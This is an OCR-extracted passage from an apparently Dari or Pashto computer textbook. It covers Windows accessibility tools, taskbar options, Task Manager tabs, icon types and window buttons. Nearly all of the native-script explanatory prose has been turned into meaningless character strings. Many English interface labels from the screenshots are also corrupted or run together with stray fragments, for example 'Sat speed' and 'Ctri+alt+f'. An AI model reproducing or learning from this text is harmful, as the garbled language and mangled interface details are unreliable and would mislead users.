2 S 2 o)l 6lg)lS SU> awa | (59 ding> gl 2 009> (5)S
Ao 4y iz oS 02 83 £5)S9 SalS auwli ($33b Gyl (59 ) oleSo 5y 308
295 U BigxilaS 9 (595 SS (533b dode Lhin 2 b dods
wd&nwwwgwwygﬁdﬁl&swbuﬂ&&o?gl Al
{1-3-1} Start Magnifier/views.
$H VLl ol 90li S (69 93 £6259 SlS 90l ($35b il (55 4y 4S9l
GSIld (2 2 ol (595 ) o)L o) 3guis it OliSun bu-*gufby
83 J99 5B 4 2 9 oS (533 e (5)B A 9)9uS 2 A 0)u)g
(Full screen=Ctri+alt+f)(Lens=Ctrl+alt+L).
(Docked=Ctrl+alt+D)(Ctrl+alt+space).

Windows can read and scan this list automatically. Press the SPACEBAR to select the highlighted tool

J Always read this section aloud v Always scan this section r
ard | Set up High Contrast
7' | Start Magnifier ]- 3 ™ Start Narrator :
P ; agnifier =
2 Start On-Screen Keyl board Set up High Contrast i 7
Magnifie - D0% | Vi - 7 ]
Not sure where to start? “ i gasier to use 93 = .
n Q 150% Views = ¢ & ‘ I ==
= _
Explore all setting L] Full SCreen . Ctrl+Alt+F
When you select these settings, they will automatically start each time you log on Utumatlca”
Lens Ctrl+Alt+L
- Use the computer without a displa s
* Optimize for blindness prey Docked Ctrl+ Alt+D
a Make the computer easier to tee
W Optimize visual display Preview full screen Ctrl+Alt+5pace
-~

{1-3-2} Setting.
(1-3-2-1)(less More).
9l (525 ($335l) > b pgj HsSw 2 A ($B9S 9l S il ($o
S35 SN 2 e
(1-3-2-2)(?) Turn on color inversion.
25w guwliw o3 (S9xlg 2 90 dodle S)lo Sy gl (s35b iyl (53 @ o
($29l9 ) 5 )93 09 ) Sy o 4S 4SJ (5)S 0)9¢ JSu sl 4 S,
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(1-3-2-3) Follow the mouse pointers.
L 1593 S9pl9 1 90 dode S)lo Su gl (s3L Guinl (5o @ 4S9l
£62S sl LS Syge @ guwliow
(1-3-2-4) Follow the keyboard focus.
D 13 95 $9pl9 1 90 dode S)lo Sui gu0li (535 il (53 @ &S g
6635 shin 3300 )94 3 guolinn
(1-3-2-5) Have Magnifier follow the text insertion point.
oz US )2 93 (S9xl9 2 90 dode S)lo S gunli (S2b Gl ($3 @ S ol
So)ls o 0 1y pl)So da (s9d) pliSo peS LS gine )l 4 guwls

> @ S U5 @ ahSan 99 4 (59 139 S 513 4 aliSox yu0xS Ly @
Magnifier Options - o $9 139 4SS s @y (il LSy s

Set how much the view changes when zooming in or out:

i i More

—_—

f|  Set how much the|l =& Magnifier E[EE
| Turn on color inversion 1 3 2 2
Tracking * |

@@ 300% Views v ¥ @&
/| Follow the mouse pomtel 3 2 3 |
Follow the keyboard fot-.:]p 3 : : 4'; [ Turn on color inversion
Have Magnifier follow th se poi Tracking

Magnifier Options N  Start Narrate 1_
t

Less §

l 3 2 5 V| Follow the mouse pointer

__ : i J Follow the keyboard focus
Fine tune what my screen fonts look like "

e » | Hawa Mannifiar fallaw bha bavt incark ian naind
Lontrol whether Magnifier starts when | log on

Cancel {1}Ease of access center

{1-4} Start on -screen keyboard.
Q) ($3b H)Saw ) gwliw 65 65 (5)S9 SIS gl (3L Gl (53 4 ol
SN S O @ 2 STl gl b ($39S WS @ 90l 2 by 994
Al GS OUSas 4 4 Sinogil 95 Sy (1S Gl

Run:{OSK}.

Make your computer easier to use

Quick access to common tools

You can use the tools in this section to help you get started.
Type the name of a program, folder, document, or Inter

:‘;Lﬂ‘dum «can read and scan this list automatically. Press the SPACEBAR to select the highlighted ) resoanee: hnd Windins vl open it for you

[¥] Always read this section aloud [¥] Always scan this section

s Start Narrator

gnifier

2 Start On-Screen Keyboard

w  Not sure where to start? Get recommendations te make your computer easier to use

P set up High Contrast

Explore all settings
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Personalization/Ease of access center.

{1-5} Start Narrator.
d.ogSé.opul;S.uug_\mbgjé)SgdASg.wUd.ﬁbodul S 4 aS ol
Lydﬁuﬂ“ﬁwiuLﬂm@J@yﬂMﬂ%ﬂ&m@%ﬂﬁb%&]

Sl (5250 Gl (63 4 guoli Lz dlS Ho d51(59)39 ba> 4y juw)S gwls
SN @ G2 b Wods Ao 4l @ oy OSund 4 gl 93 £5)So
o 2 Jg9
{1-5-1}(?)Echo Users keyboard.
95 S99 2 90 dode S)lo Sui guwli (s3b il (53 4 gl > dS o
9543)5)?@@?@9&%95&9)9*45“9**’1)&“15
{1-5-2}(?) Announce system messages.
33 S99 1 90 dodle S)lo S guoli (s33b Gyl (59 4y 9l 2 S Ho
2o )9 ) o 428 (5959 s b plon 5 9l yigasaS (2 dlS
{1-5-3}(?) Announce scroll notification.
55 529 33 80 dode LS)lo (43 sunli (33 Gpsbyl (53 4 9u0li 2 alS yo
2 groliw @) 15 o3 (59 Ao 45 (S0 (2 19 by (S JigesaS guwli 2 dlS
S9S
{1-5-4}(?) Start Narrator minimized.
93 S99 1 90 dodle S)lo Suj guwli (S35 Gl (3 ) gl > Sy
L,Sg,JLLwL,wJS.de)ngJL,:mmbbd)JwaogngbU:dlS
JMQ&@®PU®Mﬂm9¢MM®b@uwﬂﬂhﬂwy

Make your computer easier to use 53
& Microsoft Narrator =l =1 LS'
Quick access to common tools il
You can use the tools in this section to help you get started. File Preferences Help
Windows can read and scan this list automatically. Press the SPACEBAR to select the highlight :
tacl. Narrator will read aloud what is on-screen as you
| Always read this section aloud [¥] Always scan this section na\.igate usjng the RE‘,’bCBFd
" Main Narrator Settings
2 Start Magnifier & Start Narrator 9
- - )
= start On-Screen Keyboard z s ast | Echo User's Keystrokes]-5-1
A et o
W Not sure where to start? Get recommendations to make your computer easier to use v| Announce S‘J' il MESSBQESW 2

Announce Scroll Notifications ] -5-
Explore all settings < 1-5-3

When you select these settings, they will automatically start each time you log on.

Start Narrator Minimized 1-5-4

Control whether Narrator starts when [ log on

| 1
Quick Help | | Voice Settings | | Exit
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{1-5} Start Narrator.
{1-5-5} Voice settings.
Q€ ol (25 33 L @S Catyuw 3€ 2 0 ($B9S gl $3b Gl o 4
S35 Jn € ol (525 390 L ol 018
{1-5-5-1}Sat speed (1-6-9).
G299 Ui Sol bn SUg Caepuw y€ 2 b ($39S gu0li S il S 4
{1-5-5-2}Sat Volume(1-3-9).
OR Sol ln ol 6625 0)1S b gl 39 92 2 b ($39S 9u0li S il (S 4
w99
{1-5-5-3}Sat pitch.
OR Sl Ly ol 625 Jn b ol iz € 2 o0 (5395 9l S il o 4
|,)9J Pg.u.)lo w C‘L:J)b asJ w99

F & | Eg "\
& Microsoft Narrator (SN e

ke your computer easier to use
File Preferences Help
Quick access to common tools

You can use the tools in this section to help you get started. Narrator will read aloud what is on-screen as you
Windows can read and scan this list automatically. Press the SPACEBAR to select the highlig n avigate using the keyboard.
tool.
V| Always read this section aloud [#] Always scan this section Main Narrator Seﬂings
e ‘ [¥] Echo User's Keystrokes1-5-1
&' Start Magnifier A& Start Narrator
= ’ [¥] Announ rstem M e E
= Start On-Screen Keyboard Z ast v ounce Syste essages]-5-2

[] Announce Scroll Notifications1-5-3
Not sure where to start? Get recommendations to make your computer easier to use
[] Start Narrator Minimized 1-5-4
lore all settings

n you select these settings, they will automatically start each time you log on.

p- ~ Control whether Narrator starts when [ log on
& Voice Settings - Narrator | 23 ]
[ Quick Help 1 [ Voice Settmgs [ Exit
T-0-0

Select Voice
[ Microsoft Anna - English (United States) |
Set Speed [5. 1-5-5-1 -
Set Volume {2 1-5-5-2 ‘T
Set Pitch | SlaF5:3 v]

[ 0K ] [ Cancel J
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Personalization/Ease of access center.
{1-6}Sat up high contrast.
o oyl 6 JSub )93 pgual OliSuuy b (5365 gl S puinl (5o
J99 83 g 43 6J6S)9 b nlasio dxiuo 01 Il 4 4 pguai i o2

SolS il Sl 000 Jod 0> 9o 2 > 45 Jgit ja0)S.5)s Ol
‘ 63 JsS SIS (53l Sol 4y Ly ol (53 JsS

Make your computer easier to

cessCenter v &  Se 2
gusEm Einige - Quick access to commcntu:: {1_ 6_1}( . )Tu rn O n O r Off h Igh'

You can use the tools in this section to help you get started.

e reve - cONtrast when left alt+left.

4] Always read this section [ Always scan this section
aloud

shift+print screen is pressed.

v
gy StartOn-Screen | Setup High lS)LD LSJ.J g.quJ L_JD d.lS ).Q) LJ.L.LL" Ls.) dJ

16 S48 (5330 531 4 Ly sapls 1 90 2ode

99 {5259 SIS (533L Sgl @y L 9l &5)So
lsl pguas OliSund s (39S gl
RNouad (935 0)9€ 90 S5 )9 > dS gl didd @ (3 S Ol diyg gl ub
69%5356)1M%ﬂ&d)bduwgsadlwbepydﬂmm

& Make the computer easier to see

When you select these settings, they will automatically start each time
you sign in.

- B
T © « Ease.. » Makethe computer easier to see
Control Pand ¥
, ~ Change the visuals and sounds on your computer
' he i 1
Vake the computer easier to see Changs desktop icons Click 8 theme b change the deskop background, <olor, sounds, sed screen saver 8 ot once
When you select these tools, they will automatically start each time you sign in. ik s mﬁ -
Hi gh Contrast <
tow
oose 3 High C

ntrast theme
or off High Contrast when left ALT = left SHIFT « PRINT SCREEN is pressed

#hgh Contrast Themes (4
T61Wh gkbdhul n Ease of Access settings o =3
[#] Display & warning message when tuming a setting on _
High Contrast #1 High Contrast 82 Migh Contrast Black  High Contrast White

[l Make a sound when turning 2 setting on or off

22 i

Hear text and descriptions read aloud Doploy ‘ =% (S

[ Tumn on Nasrator :b"»-:.m N-";T':" Dkt Backgriue | = s | Soniid e S
Narrater reads aloud any text on the screen. You will need speakers. . i i ; i

[[1 Turn on Audic Description
Hear descriptions of what's happening in videos (when available).

0K Cancel Apply

{1-6-2}(?) Display a warning message when turningasetting
on.
CU|39J69)JQ)Jp%ﬂ&d)b@%b@dﬁ)&%‘édd)

yl)wel&ubwwwbunglwkSJ)m)ngme
03 S dxbuo dly 4 guad (53

Page 131




(c) ketabton.com: The Digital Library

{1-6-3}(?) Make a sound when turning a setting on or off.
95 U 4 ol S glelled i slo 5 b gl slod
{1-6-4}(?)Turn on Narrator
oz WS 12 95 (S9xl9 22 90 dode S)lo Sid gl oz dlS Ho Gl $o
P95d|9b>M9mL4udJ 13 93 J9>)S yw)S Frop ooliSwuwy I wls

S$9 229 (SR 2w)S gl >
{1-6-5}(?) Turn on audio.

description.
S)lo i a0l 2 IS 50 Gyl (55 4
9291 92 Juua83 9291 3 (S99 3 90 dode
Srad Xyl S guiw)y ) 52 (53 Sox
owld Olous gl 9191 ngJl.zJ Ologleo
polic (§pa) ns-ulf dol (Sa00 d gl (o] i Sigad 2 (1S
3 4593 4 iSgil 3 0yl 9Sigan) sl i 9l 935) 3 2 S9r95l
S Ol ol 93409y SSilAiso

{1-6-6}(?) Turn on Magnifier

S39S gwli o3 (S9plg 1 90 dode S)lo Suj gl oz dS Ho Gl 5o v
oD 1eS 6-3)-‘|) 4!9Ja> 995 o) «-Jhiwé D

Full screen Ctrl+Alt+F w1 ALT < ket SHIFT » PRINT SCREEN s presed —  1- CeCK OF

" uncheck
Lens Ctrl+Alt+L il
Docked | -O-0O Ctri+AR+D

Preview full screen Ctrl+ Alt+Space

I\'I'lj,lliﬁl‘l' (Vows)

166

-—.—- h-n-n-

Wikn

,,,,,,

| 2.Click on

oK Cancel
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{1-6-7}(?) Make the focus rectangle thicker

a2 03 15 65 S99 2 90 dode S)lo Sui gl > S o Guinl o
995<U9wbu>¢15x5949>®995)yowowﬂéﬂﬁygwlﬂ-?

| Sl Xilas
2 e e {1-6-8}Set the thickness of the.
& am— - blinking cursor (9).
o] — | S 2 o ($BeS gl S il (50
e sl Lz ol peS o b siS igeS ol

63 A Gugo ($3 45 488 (595)S HUSuw 4

S sy3dan il s
{1-6-9}Turn of All unnecessary animation(possib).

o 93 03 15 (S99 1 90 Aode S)lo Sui gl > dS Ho il 5o

SHo (Rl Jg2 92 o9 43 9J95)9 b lasio
MINIMIZE  CLOSE ™ 1126210} Remove background

amiges(available)
dode S)lo Sy gwli o S yo uinl o 4
MAXIMIZE Lo ol ¢5)S9 SulS tS-\’L‘ '.Si‘l 4 Ly 69)-‘9 N 9o
Ng)Sw guwliw 93 £5)S9 SulS (s5b Sl 4
2 U gwli 2 9555 LBl i ) pguai h 450 gl ($19lg 4S5 95 4
6§6ﬂ69m9ndnisd)lodu¢»

Make you

Quick acces: ommaon tools
Make thing: this section u get
e mmmmATmmm————— ||| Windows can read and scan this list automatical ly. Press the SPACEBAR to select the highlighted
‘| _6_7j TMal et Always 5
1 _6_8 Set the el |
1-6-9ow B start Magnifier ™ Start Narrator
1-6-1 Qoee S Start On-Screen Keyboard I Setup High Contrast
See sisn
2. Click on
\ £
oK Cancel

ol (53 O 1and @8 (i) Hlidyl (315 ol
S2S )i b (5395 9)3 gylg0 A
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Taskbar menu.

o a S b pwge s a5 (5033 OliSuuny 4 gl 2 dlS)
o2 LB o> SSgie 1D 65 U guwliw ¢5 (559 SUS (535L Dl
| | ol 9o HLSuwli 5 (s

{1} Taskbar. )
2 (459iSul) 39 duwidy 3 5 g i Cacluw 3 gl gio o)l 3 )b Swwly
éﬂ}uﬁwmwbwwmwlﬁwm 5.5 ol Five
0) iy )Lkl )93 ganlien g3 (52S9 SIS (533l (53 4y gli (535S LN
ol st S (533b )LSuoli 4 (2 9JoS SHlo Sid 4y 5 Gyl Ho 2
Ologlao Joi pige Lz diid LS dxiuo (125) 4y Dloglao w3 (63 13
s

Address
Links
Tablet PC Input Panel
Desktop

{2} Cascade Windows.

sovesci )9S 0)g€ ($81 > BB gigalaiil (53
Start Task Manager (-’S Q}Lu_) k_,_ll;r (1) )b ; L; 5 go‘)l_;'_.l

k 2SwlS 4y Ly «£5)Sg SulS u
a0 Ay w4y Hoaing S b awbling Suiiw joaing 3 (£5)Sg SUS jg9aig

New toolbar...

Toolbars >

( Cascade windows 3

Show windows stacked

Show windows side by side

am
Show the desktop

Start Task Manager

Lock the taskbar
. Properties
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{3} Show Windows stacked.
34 0S ol 8 £62Se SulS (5L Bl (53 4 9wl 2 AIS yo
OS50l (59 (S9d EalaiS S puw 4w ) B Ol 990 o LSy

Toolbars

Cascade yg

Show windows stacked

Show windows side by side

Show the desktop

Start Task Manager

v Lock the taskbar
Properties

Joiag 29 gaoliaw 93 £6)S9 SulS (635L Gl (59 4 gunli 2 Sy
Cunblivg dizgS Hlex Zal 4 Zal 4 5.0l @) joding 93 (59 (525 o3>

y ™ ¥ W " - Jumm s .

Toolbars

Cascade windows

Show windows stacked

Show windows side by side)
Show the desktop

Start Task Manager

v Lockthe taskbar
Properties

{5} show the desktop.
bl 0333 QliSuunsd ) gunlivw 93 (629 SulS 910l Lz uingl (50 4

Toolbars

Cascade windows
Show windows stacked

Show windows side by side

< Enow the deslctoD

Start Task Manager

v Lockthe taskbar
Properties
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{7} Start task manager.
Jlgo o O LA Oloas gl TEPNIS Dgol)Soy 4o & guwli o 585
3 E59)B9 w0 Suwli s b GgS gwli .5 Olo) LS JigureS 4 guliw
4 Olg> o £saS 03 dolip U.wl.) 0 b ¢&)g udlﬂQHMJo
d.bd)gmb_wg.“_;)SgnS.alSLgxbum| S @ gl 2 dS)0 4559
(5.)J9,>(5m>lmu>umdw>l>dm
{7-1}Application.
ol > UuuqugnpruJb)Lde_du.wg_caus)J.md)LSm
6§9&l§é.}db S b pueinShlye 4 gl cu).odS 3 Olay Jlgo
95 4 )15 4 (Sl 95 £6)S9 S (23l (Sl 25353 4y Ly o3
S MgaS 4y gunliow
{7-1-1}End task.
4 W 93 £6)S9 SulS s33b )8 b HeinShlyo g gl dijuz oS
$9S 4HlS uu;.u.&bl 420 g §5)Sg SulS L_g.nb (Swly aigl) 5253
S Hoss0S ) galin
{7-1-2}New task.
U>Umt_<;2959mlu.uyéﬁg@ls(smbuuuldjd)gmb@)ods
"8 Windows Task Manager [o & -] UUJ ‘Jjgs

File Options View Windows Help

Toolbars

Cascade windows

Status
Show windows stacked Running
, x 3 Running
— Show windows side by side Running
Running
Show the desktop ﬂ,s stem Configuration taol.rtf - Microsoft Word V... Running
Ri 9
Running

L) Task Scheduler uninin
Start Task Manager & Untitled - Paint unnin
eWinduws Help and Support Running

v Lock the taskbar

Properties

7.9 End Task Switch To l__[:;gw_raﬁ___

Processes: : 60 CPU Usage: 5% Physical Memory: 56%
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Start Task manager.
{7-2}Processes.

) Canad 9a09 2 Olg) 9193 3 S i 4 ) g
u>‘U59|u5)49u-°5‘1u5)5w939ﬁ|)5’9»u>9wn5395m4*”3 9l
KigssaS g (35 pigo 4l |5 o g dlyd by Cawguw S HigssaS gunli
(uagyy 31) 0 Lo gl 9)S 3 w5 (63 d LuSubl b gl )Sgy a8l
G 30y 9igol)Sgp Jeding 15 2l a5 L 2y 4 pliSg)) 42 9 {5099 iy
(595 4 4S5 doww 1S @inigin HgapaS Ly 2 4S5 g)S

{7-2-1}End process.
3L Ganl (63 4y a3 Ly 93 95 Ol plySgy 499 gaoli 2 IS yo
o 3y phSe ) 420 ) (S HigreS 4y guwliw o3 (53S9 SulS

— — Start Task manager.

Applcations | Processes | Sarvices i Performance | Networking | users

.
!mageniame User Mame (CPU  Memory (... Description 2 {7_3}Serv I Ces.
sidebar.exe Gregsh... 03 16,340k Windows Sidebar
REHDNCpl. exe Gregsh... 00 11,812  HO Audio Control Pared - 4 e
rdpcln.exe GregSh... 00 796K RDP Cip Morikor . l lJ' < % c | L) d.s
C T —— T Jlo) Bl 2 =9 Sales gw
mspaint exe Open File Location i H
msnmsgr exe lessenger e « |l i -
S End Process licrosoft Management: Console ( 3 l)_’ o ),‘ A ) ( 7.‘” 9}.’ 6 }g.’ l> l59-’ —) L—M -l-:
HelpPane .exe End Process Tree ficrosoft® Help and Support .- .
explorer.exe \ findows Explorer : : H
3 . . . Py . .
doams | Velzin e T s agi gileas 3 fod JgS gl gi (g0
dlmt exe Create Dump File OM Surrogate - .
:

igien Set Priority * L1 Appication (Comand Line Interface) S CU : | S I c S l S .
cLLe: LI Agplication (Command Line Interface) A N uJJJ 9).‘ Jd 9 6 9 UJJJ

Properties . . .
Clle: LI Appication (Command Line Interface) T it -

Go to Service(s) TI External Event Utiity EXE Module
i

— —_ S Loy 30 ()18 3:¢5)S 0)9€ Eod
Processes 80 CPUUsoge: 7% Physical Memany: 5% dJQng)J 0.159)' 9|UADA3¢3LA:}.UM39)J
‘15’9J Q w9 3 2§95 Blwl s Jo)l8 S5 5 a5 g 3525 Gluisg)
i == i3 Dloss Sig)e fon

File Options View Ul

[ Apphcations | Proce: ms | Services! performance | Networking | Users

hame PID Description Status Group

AelookupSvc 109  Applcation Ex... Runn.., netsves
MG ApphcationLa,..  op.. NA

Appirfo 109  Applcation Inf... Rumn...  netsves
Appiigmk Application Ma...  Stop. netsves

AtiExternal... 948  AtiExtemnalE.. Runn.., NjA
AudicEndpo... 1080  windows Audi.. Runn... LocalSyste,
Pusdiosrv 968  Windows Audo  Runn... LocalServic...
Avg ikt 1816  AVGY MlertMa... Runn... Nj&

1y

AvgTUpdSvc 1844  AVGT Updabe ... Runn... NjA
AvgCoreSve 1860  AYGY Residen, Runn...  MA
AYGEMS 1892 AVGE-mailSc... Runn.. Nj&

BFE 163 BaseFitering... Runn... LocalServic...
BITS 109 BackgroundIn... Runn... netswes
Browser Corputer Bro...  Stop...  net:
CertPropSvc 1096  Certificste Pro... Runfi.. netsves
clr_optimiza... Microgsoft NE...  Stop... NJA
COMSysipp COM+ System...  Stop... NfA
CryptSve 1360 Cryptographic... Rumn..  NetworkSe...

| i services...
Processes: 160 CPUUsage: 5% Physical Memory: 49%
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{7-4}Performance.
CLng LgASLJL‘»dJ UMUUJL.&Jl)JJg,;oﬂCUl_AJLQ.QJWuJ&QJ

ol 5345 Jo)lS dladl> 0,003 gl Hlabo ooz olg)lS (9 9 )

S5 Jgab G guoli JSub 4y Su9l)S
{7-5}Networking.

S S MgpeS 4y S 3 4 Yigo S Gl (§9 ) SisS )9 G b S
p53 3l 3 Jga cdlan) 4y .mib (bas| 3g)l (5)90 g xialal Sud (5p0
wug)g.)pr)pbluS.uu.)glusyugS.uJ.) d.;.l.wng)lSUS.uu.h
3 il GSwid 5[JeS &J.olg g Gloll. (594 JIguis 0y ;,J)L> oo
JLS)MJ OGS 3 0)uw YigaeoS J1 3 52 03 45 gl LIS YigaueS
2igssaS J2 3 L2 (58579 Wise 45 yigaseS 53 13 535 JoylS 0yl 9yl gpu>
S (53l Ao 3 0ya dlang Suds 5y b ygsu0 « (LAN) o Jlail
{7-6}User. o Jo9 53

Gl S HigapaS @ Jlgo 1 2 aid S999) 18 420 Joi 9539918
S22 0w olg)lS Ay oiloas Jiwoyi 5 (HSweo (S 99)igaunS Horw .SH
S (A (59 U D LG9S S999)18.59 Ju09 030 igrsaS 5 Sige)lS

s (535S (BT 53 by Jonio

B \Windows Task Manager

= [| /%8 Windows Task Manager =B 2
Eile  Options  Wiew Help /™ Windows Task Manager | e S | :]
File Options Vie felp
File Options View Help SemOprinsm Vit
| [Appications | Processes | Services | Performance | Networkng [Users || | Appicatons | Processes | services | Performance | Networang | Users |
Local Area Connection ' 5 T T T
User D Status ClientName  Session
LT 1 Acth Console
Up Time 371205 Adapter Name Network Utiiza... LinkSp... State
Kernel Merfiory ME) Local Area Con,.. 0% 100Mbps Conmec ted
Total 93
ged Disconnect t | | Logoff
onpaged -
P sssssssss : 101 CPU Usage: 10% Physical Memory: 66%
5 .50 CRU U o Ph M . 45% — e il Processes: 101 CPU Usage: 21% Physical Memory: 65%
rocesses: sage;! s ysICa emory: {7 5} N t k- g
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{8} lock the Taskbar.

Oz o ($B9S guwlinn 93 £6)S9 SUlS (a3l gl (69 4 90l 2 IS Ho
ol b (5395 (51295 @B gl b L9 Gk duisg> dlu> 4 a4y LSl
290 )3 13 ol b Glyg 46 (S5 Ho Froyy OliSiund b 4y ) LSl

SIS Lo S s (118)qy
{9} Properties.

S 9 LS Lo {118}y yigo uys 13 gl

B ) Control Panel » Appeasance and Personalization » Personalasbon |45 W Searcn Cantea Banel 2

. L2
il Change the visuals and sounds on your computer
Toolbas = =00 i ! ot o s sk s
Change mouse painters G morsthemez onling 12
Change your sccount pictisre Aere Themes )
Cascade windows -
. N N oy
Show windows stacked | -
s 3 3 i Windowe T At T Chanka ‘ md‘;:.ps
Show windows side by side ﬁ e -
Show the desktop -ﬁ&?l :E.
- R " Unined Stes
Start Task Manager , ot e
s 5 -
e | : S
J l osltb +as_kbar JaR L e Desktop Background Windaw Celo Sounds Sereen St
e Ease of Access Center k L Sk vindews Defauk sae
Properties % : —
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Menu
Selitibogl yigrraS 5 (2 03 dSlgi 092 9igalil 5 gino (53 i 45 givo
S 99S bzl cullas b glxige giloglen 5 9555 (5yuS (sailig 4 (S59)8

5 9b S5 92 UgilaS S give 0 4 9l (53S9 diuwyo

Command.
03 ‘:;)S;jl_‘-» 93 (57 0 digguy)d & ('.\I)Sg)g MguoS 3 JleS US),;g.u.oSdJ
(55 0paw)3
Folder.

91929)S 43 ighld ($9 52 Sz «$I 2B b S5 8JgS 0)u>5 5 5 alg9
095 0 oS )99 92 .(5)S Eulail NigusaS ol b (s3S SBy S S
Giwgl o)l oigSliiivg€ 19i0lw HiguraS (S1 3 .(SHg Ed Ug)dgo
SH Vg dguyd (5)18
File

30yl 9lgis Lo 5 S dluwg 9lgS 034> HigueS 3 L0 yigumeS o
(xS J3iha lexd pags Jalo 33 Joo Rl 4 2 03 iy HigapeS
IS 510 @5 18 sisesaS 3 o5 i (5365 JSal 2605 @y US3 oz 4S5 as)
G (55

Folder © vs files H.
ol golySor Joi ol 153 a>lg 6JoS 0055 ale 5 S yiguaS 4y (bl
93 58 "Jiwg)" axE ol 5 gl "(seud JSW" S Jald 4 Dloglao
D S G2 (59 LI didg da 55 ) )s8 gy ol «(5)) Bghld o5 b 5y y2)g8
S )Ms@ 3 SN0 gl «($)lg 2 dig) Mg H93 b oS Haled 5
SH V9 28

peal) v (=1
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Oy )25 Ol>Nol LS )igaaS
System icon, Applichtion icon.
Ol Jlwil @295 Gl piogw Jgl (59 g 095 4y digisy
99 U23> 9)3 99 © K2l S HigasaS 4 ol
3L oSl 4 JoS SulS U595 533b Hlw iz pwge 4 Jol
9l S w0 4 03009198 SUlS U5 01 $33b Dlow oz Guge 4 g9
o 0> b (gl 0 pliSo) ol £5)S9 SUlS (s,
System icon.
Jo9i S Zal (5 4 San 3 BiganSie mimman S aaid b Sl @iannsan 3
disizoly Jgo Dlegigl 4y o joaing 3 Jlgor glouald > s 15 .5puS
lisol Loj e JSalusy igeeS Loy aigllio oSl piunsun s 3 545
S99 9l ))yoluwS| b il
Application icon.
32 6 pusSe 55 g0 — 9So) (piiaSilyl 3 b — eSOl Syl 5
s9iw RIS 155948 )8 o)l SSaialed GonSalil 5 S g S59)8
4 099 Goylow 3 oy ) B)le5 990yl 5 S Heiw Ly JSeS o
)b e 95)14 Ood ol o3luiys
All computer icons type.
{1} System icon {2} shurtcut icon {3} start button icon{4}
Taskbar icon {5} Program, folder, document icon.

"y R B

v &

Recycle Bin Data,txt kConcave2....

R & B

3d1.bmp DegreeRe . kConcav

Start Button
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Caption Button.
phS9n d)yg) Hluw L 4 (52 Vo5 pl)Sgy 9y gl dlS > 13 4>
uS 93901893 oloi 4 15 2 o GuusS 4 (53 2 (5N oLyl (5)9 S
342 aliSox 13 66359 SIS (5L 13 > (g jol8 diidode yu Jgl >
(59 L 3i9)Swy 4 aliSox 13 2 g Ealesd Suo &5 o b @g3459S
ﬁd)ybé@dﬂb@@@bdﬁ&éﬂpgl
ol (595 iy pl)Sgp 1 = o pao Lo 4 od gl Ll Olagiwg)
U 9209 9> > p€ (S 625 SNl gang aS) Jlio b ($33b ) LSl
S5 Jd

J

Close, Maximize,manimize.
{1}Microsoft Windows, the minimize.
95 B @ B 2 S Hb Swwli 4 ol (S92 525 i plowile o
alxSgy Js 453 alxSgp 62 0515 95 03 dilg) ol = Lz,S,_Jl_> u..ul_u
xS Joy8 o)l 6lg) 5 0,95 Lisy
{2}Microsoft Windows, the Maximize.
5 0yl 6JoS 051351 aySuw Joi 5 guoliw JoS (s9) 93iag b aliSgp 3 (S)S >
b S 3580 (63 b gyl )10l ol giso (595 o)Ll &5 glgag) (20
S 9 Jo)lS lexd (5)S 3 gaalo€ gl Jgo 053 4y (545 S)g
{525 Ledacl
{3}Microsoft Windows, the close.
Sl glioyld odgais (,S)S alxSeyn b (uinsSuyl b Suliswge
Keyboard typing:Alt+F4.

Example of a Microsoft Windows window

Maximize / Resize

File Menu bar Titlebar

s Macros  Config
Nl B8RE L RO i ntslly 4 Toolbar

Vertical
scroll bar

N Scroll
B arrow

Resize corner
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Computer Window
window. noun. win-dow ‘win-do : an opening in a wall for
letting in light or air. : windowpane.
g@ogbubuausw)mm,;}u&s USP#MungJUS)S
(58579 0j\> &5 o>l S0 ) 3 &Sl g o omadyiil )18 Se8l,S
0)lsl g3 30 jgaing 3 dSe3 4y >0 (S92 3 i J9 Mg S H9Nig
S 9990089 4 Jlosiwl o> d iwaS Jul 4 0yl J5 (5109) ol.5345

Example of a Microsoft Windows window My computer icon tht click.
Maximize / Resize

File Menubar ... Minimize Close (0] ptl ons.

e S S5O VOl i HigueS slo
et 5 S oS 7 0 515
cowpondits TAEF "8 vindos, R L)-J)-‘Ql 59idg L| PI)SQ)J 9539 d.u
1 Qpee oz I dbglig)S psleo al)So)
w9l SH D9 Aoy 01093 S HigaeS
s b Horizontal scroll bar Rosis comer (52 S .03 dS) 609> ol L;,JL> 0,09
J5 92 3L Dlaw eis 0305 4 pwge 15 3L HSul YigasaS (slo 4y 9wl
Y s5les u%'g%@@%@u@' 6> 99 U guwliw g5 (5)Sg SulS

g e Hlidnl o5 91 9> g 3xidhey S Juol

{1} Open.
HoupoS Slo gaolin 93 (6359 Sl (S35b Gl (59 @ gl 2 dS 50
1. Right-Click the Computer Icon u-“’ u05’-> USJ|

| Manage

Map network drive...

2. Select the Properties
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{2} Rename.
HouaS Slo Fop QLSuund 3 L2 0§95 9wl 3k Hinl o 4
625 0 b zisz poi Sl
(3) Properties.

dod QD:){._)'.J.U.U.}QJ O)LJ 9]95&54) g.JlJaDuM)Jg.))LQ).Jg.A.A.ASJ.ADJ
ol {6259 SulS b (59 ) S9ub S "yigasaS Loj" 2 Log09 puSe
gilasuino 99) yigssaS 5 guolive 2l S)S 092 -5)S 6)9¢ digiuSlo
oS b douud joxing 3 ol dhadl> « junwgyy Joauiny (5)S 3iS)5 il
Ologleoilogles 595 i 5 Joouds 4 Jlogiuwl joaizg

{3-1} Properties/Windows edition information.
waﬂbwwhl&;»@bg)g&ﬂd»wléjd
Lo g5 905 03 dllad i Oldac agS S HigaaS @ guli Gz b
Ao 15 pige 55 (63 Hoaw joridg o

{3-2} properties/system.

dlhol> b‘o.J)dSJum).) Ologleo @i yigaoS Joi (353 Guinl 5o
9| ,594» x_AJ.J <1.oL\¢L! |.> l.)»g...:.oSgl u>l) &lo.))gg..a.;xﬁb}mm)g.) 9|
ol by @ rad (s:al 3igasaS slolediniiy LrigaS b Sy igasoS
Slogles gi Ll

| Manage

H 0o Werae
& Rem W
% Syvten pectaction Copyrght € 2908 Micros: aeation. & rghts veserved.| O i t
Map network drive... L] . cings w«“:o .1 = pre—] el Ryt e
2. Select the Properties ;
N
. fancitns
s
s
=3 Proes

Page 144
_a90s.




(c) ketabton.com: The Digital Library

My computer icon open.

o)) oS 0)1>3 83901)S9x0 b Lo 5 2 dpuwg a0 ¢ dladl> HjgupeS)
Al 4y dSo5 ol b dllgo i 4 (15 9igguinyB ) (5948 Jo)lS
)l ooy 1S 5 S HigureS Jizy
b o dlgi gaolion 9 538 LoN> Gyl HigupaS (slo gavli Lz 4IS 5o
4 S b 9209 b 5201 €5 4 (594 o) S Saunyy Lo 4y Sloglas
(S5 (S Aoy JSub ) psiln b Cuys

